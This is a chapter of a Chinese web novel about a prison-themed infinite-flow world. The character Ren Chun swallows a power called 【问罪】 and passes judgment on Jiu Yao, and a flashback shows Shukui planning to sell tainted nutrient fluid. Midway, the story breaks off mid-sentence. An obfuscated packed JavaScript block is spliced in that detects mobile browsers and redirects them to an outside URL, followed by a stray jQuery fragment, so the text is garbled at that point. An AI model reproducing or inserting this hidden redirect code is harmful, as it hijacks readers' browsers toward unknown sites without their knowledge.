107. 情绪调解员43
作品:《这是正经监狱吗[无限]》 兰微渺说不出话,任春声音有些颤抖,“把东西给我,我作为这个世界的人,我有权利活下去,而且,我没记错的话,这个东西,是我拿到的吧?”
即使竭力的维持稳定,但是那些话语还是不可抑制暴露了当事人的恐慌。
“你说得对,作为这个世界的人,有权利决定自己能不能活下去。”
她抬手想要拍任春的脑袋,却被对方警惕的躲开了。
任春看起来年级并不大,身上还穿着防护服,折腾了那么久,兰微渺倒不觉得她烦人,反倒是从任春身上看见了久违的生命力。
“……你不阻止我?”感受到和兰微渺手心相贴的那点点温度,白色的光球中在缝隙中散发着微弱的光芒。
困意渐渐攀爬到脑海中,兰微渺可以感受到鼻腔中逐渐泛上来的血腥气。她很轻的轻嗤一声,“实话说吧,我依旧不确定,除了立场,你们和人类有什么不一样,高等异端拥有情感与追求,不会像低等异端一样盲目的攻击人类渴求人类的血肉,就比如你,没有任何的不同,我和元忠都是梵印的持有者,步眠想要的是【世界】,而【问罪】是我们没办法拿走的。”
她当然不可能保存【问罪】给阮意竹,在她的想法中,阮意竹一定要离那个糟糕的世界越远越好。
“不过,你也要想清楚。”任春感受到那双握着自己的手微微收紧,肌肤相贴,冷意几乎要传入自己的手掌,“我知道,你能来到这里一定使用了莫大的勇气,走了很长的路,你是【世界】的产物,你会随着魇的破灭离开,你可以拿走这个梵印,我就将它给你。”
那些复杂的名词任春根本听不懂。她死死地攥着手上的白光,那些从来没有被自己做出的选择,似乎回到了自己的手中。
“如果你在吞噬的时候出了任何问题,一旦梵印会产生离开你的现象,我就会毫不犹豫的杀了你,这样,你也确定吗?”
隔着那层防护服,兰微渺嗓音平淡极了,任春没有从她的口吻中听到迟疑,她丝毫不怀疑,噩梦成真,面前的女人真的会杀了自己。
“好啊,如果我成为了绊脚石,你一定要毫不犹豫的杀了我。”
说完,任春毫不犹豫的吞下了那层光点,【问罪】发现自己再次被吞噬被人试图消化的时候,像是一个找不到家的宠物,心急如焚的想要逃离。
“师妹,我和师父要外出出任务了,等我们回来啊!”
“任春你呆在治安局就好啦,不要总是出去,我们都可以做到的!”
“她就是管理局那个拖油瓶?要是把她抓住,快快,把她带走!”
“不要添乱啊……”
“你的名字听起来就娇娇气气的,不只是你的名字,你也挺娇贵,肯定要待在后勤呀。”
那些话语在自己的脑海中交叠,她沉溺在情绪的海洋中,无法自拔。
“其实……”
她在心底想了一下,那些声音骤然间停滞了下来,像是在等她说话一样,“我很喜欢我的名字,任尔东西南北风,我想,任春也是一样的,我喜欢的我的脆弱,那是我的空白残缺,我允许它的存在。”
不远处,步眠和凌元忠在默契的配合下,终于斩断了两个相对纤细的绳子,在咎谣痛苦挣扎的时候,如同利刃斩断了他的脖子。
脑袋掉下去的时候,在梵印的作用下,他居然还有着思想。
果然还是没有做到吗?
吞噬梵印后,任春短暂的看见了一些属于原主人的记忆。
那是个女人,她缓慢的行走着,四周的黑暗里没有一丝光亮。
第二任主人似乎是一个制造机械零件的人士,因为每个机械的功能要求不同,流水线并不能达到他的要求。
“【问罪】吗……真是个不错的名字。”
起初,他并没有使用这项技能,唯一的一次使用,是在那些人私自售卖机械零件到达了一定的数额,将他的心血毁为一旦,这才使用了梵印。
因为使用梵印,不可抑制的暴露了,之后迅速地被招揽,拒绝后遭到了抹杀。
再之后,就是第三任,咎谣。
“我可以给你一张梵印,但为了这张梵印,你需要做我的棋子。”
“甘愿为您服务。”
【问罪】在咎谣的身上是停留时间最长的,任春看见的也是最长的,看见了他是如何因为激动,为了保护想要保护的人学会了如何使用【问罪】,又是如何被操纵激发了魇。
原来,她真的是被制造出的人类,那又怎么样,人的生产结合,难道不也像是生产线一样的运作吗?怎么就不能算是人类了呢。
巨人再次倒下的时候,任春眼睛中充满了鲜血,目之所及一片猩红。
她缓缓的抬起自己的双手,在咎谣断气前,声音迟缓,“我……向你问罪……”
刹那间,咎谣只觉得自己的意识被一分为二,一般停留在那些人抓着线缆不断收紧的力道上,一半被拖入了那个圆柱形的墙面中。
“您好,这里是问罪统一所,请写下您所有的罪恶与罪责,我们将会为您评判。”
他被禁锢在那个椅子上,四周的灯光暖洋洋的,仿佛要将骨髓中那点阴暗见不得人的心思,也要一并蒸发消散。
“在您抹杀想要更换制造商的供货商时,您认为您是否有罪呢?”
“在害死孔梅雨女士的女儿时,您是否觉得罪无可赦呢?”
“在监狱私自动刑,帮人脱罪成为监工,您是否有想过年幼时想要当上大法官的您,您的心里,有一丝愧疚吗?”
好累。
四肢变得柔软极了,甚至没有反驳的力气,如果就这么睡去,一定是何时的吧。
“在您制定规则想要为所有人定下一个莫须有的罪名,这样满手污秽的您,真的认为自己,有为别人定罪的能力吗?”
妈妈,我好想你。
“在您小姨抛弃您,重新组建家庭时,您是否心怀怨恨,难道您就没有生出过什么不该有的心思吗?”
绳索的力道渐渐增大,恍惚间,他似乎看见了那两个人不敢松懈的拉紧绳索,
“在有能力生产营养液的时候,您对岚观的苦难放任不管,与舒家沆瀣一气时,您是否觉得,您与舒家同为狼才虎豹?”
“我不恨她。”咎谣轻声道:“是她遇人不淑,抛弃累赘只是人之常情,我依旧感谢她,曾经来到我身边,排除重难,想要拯救我的心思。”
他看着自己有些惨白的手掌,模糊的视线与思绪在一瞬间,如同断线的风筝,不断地飞行远走。
好脏啊。
他的手上全是污秽,指缝中似乎还残留着那些汩汩流出的鲜血,即使将皮肉剥开,那些肮脏的东西早就埋的更加深。
从来没有什么救赎,对于他来说,发生了就是发生了,如果不去看,就可以假装无事发生。
他早就成为了自己讨厌的人,在拿起屠刀的一瞬间,那个年幼时想要当上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458445|169863||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大法官的人,早就离自己愈来愈远。
这样的人,怎么可能假装什么事情都没有发生,拥有人的羁绊,将苦难的过去抛之脑后,与人组建家庭。
那只手臂缓缓垂落下去的时候,步眠和凌元忠依旧紧绷着后背,不敢松懈下来。
“【问罪】成功了?”任春茫然的看着远处声响骤然间响起的地方,一瞬间,四周的世界像是蜘蛛网一样寸寸碎裂开,这个原本就混乱扭曲的世界变得更加扭曲起来。
在她还没有反应过来的情况下,低下头,看见的就是自己四分五裂随着世界一起碎裂的身躯。
大脑先是怔楞了一瞬,半晌,才露出了一抹有些苦涩的笑。
诞生于虚幻之间的异端,以为自己成为了人类。
凌元忠和步眠快速的走到兰微渺的面前,她看着任春消失的地方,下意识的伸出双手,却只抓到了几片光晕。
一天前。
云卷跟在蜀葵的身后,她忍不住道:“小姐,我们还不走吗?孔小姐在外面等待我们已经等的不耐烦了。”
“我要的人怎么样?”蜀葵蹦蹦跳跳的,一会看看这批营养液,一会看看那批,虽然身体不大好,走几步咎谣歇息一下,却像是一个孩子一样,对什么事情都充满了兴趣。
她说的是舟凝安,也就是逃跑一般因为蠢笨被抓回去的家伙。
云卷抿唇,显然不乐意说,戳了戳云舒,后者掀起眼皮,语气冷静,“她想回自己的地方,不愿意跟我们走。”
“风灵会可是个好地方,虽然那些老头子总是说着什么纯血人,待在风灵会又不限制她的人生自由,她是想活,还是想养一批人?”
云卷忍不住道:“那么多人,小姐又何必非要养那么一个?”
“舒楠不乐意跟我走,我这边就少一个,既然少一个,我当然要补上一个,再培养都无所谓。”蜀葵笑眯眯的折断了一直营养液,液体在她的手中流淌低落,“真是期待这批营养液销售之后呀,舒家那群家伙一定气的跳脚,你说是吧,西纳德医生?”
金发男人从机械后面出来,看着笑容满面的蜀葵,心里微微有些发怵。
如果说咎谣是一个略微有些丧气爱说些鬼话伪装大人的小孩,那这个看起来年轻的蜀葵,就是真正的笑面虎、
他一拍掌,熟练的溜须拍马,一张脸都快笑出花来了,“那是当然,您理想的社会一定会实现的,别说舒家,整个风灵会都得听您的指挥,保证指哪打哪。”
云卷偏头,“马屁精。”
西纳德像是没有听到一样,走进了蜀葵,“您对您的产业还满意吗?”
“满意极了,我要加入的东西全部加入了,只是不知道从哪个地方开始销售,不知道西纳德先生,有没有什么高招呢?”
“您又何必问我,蜀葵小姐聪慧,早就想到了好地方,又不需要我指手画脚,不是吗?”
蜀葵先是一愣,然后才咯咯的笑起来,因为幅度太大,甚至不小心咳出了鲜血,“您说的也是啊,不如先从二十四区开始吧?反正那些人也买不起舒家的营养液,只能买下那些勾兑稀释后的,那里的市场最少,偶尔出点什么事情,普通人的死,轻如鸿毛,不是吗?”
西纳德在心里骂了一句疯子,但还是摆着那张看起来温和的笑,看起来格外的捧场。
云卷云舒低着头,两个人谁也没有说话,在这个庞大不被允许的营养液工厂中,仿若命运的齿轮,很轻的转动了一角。

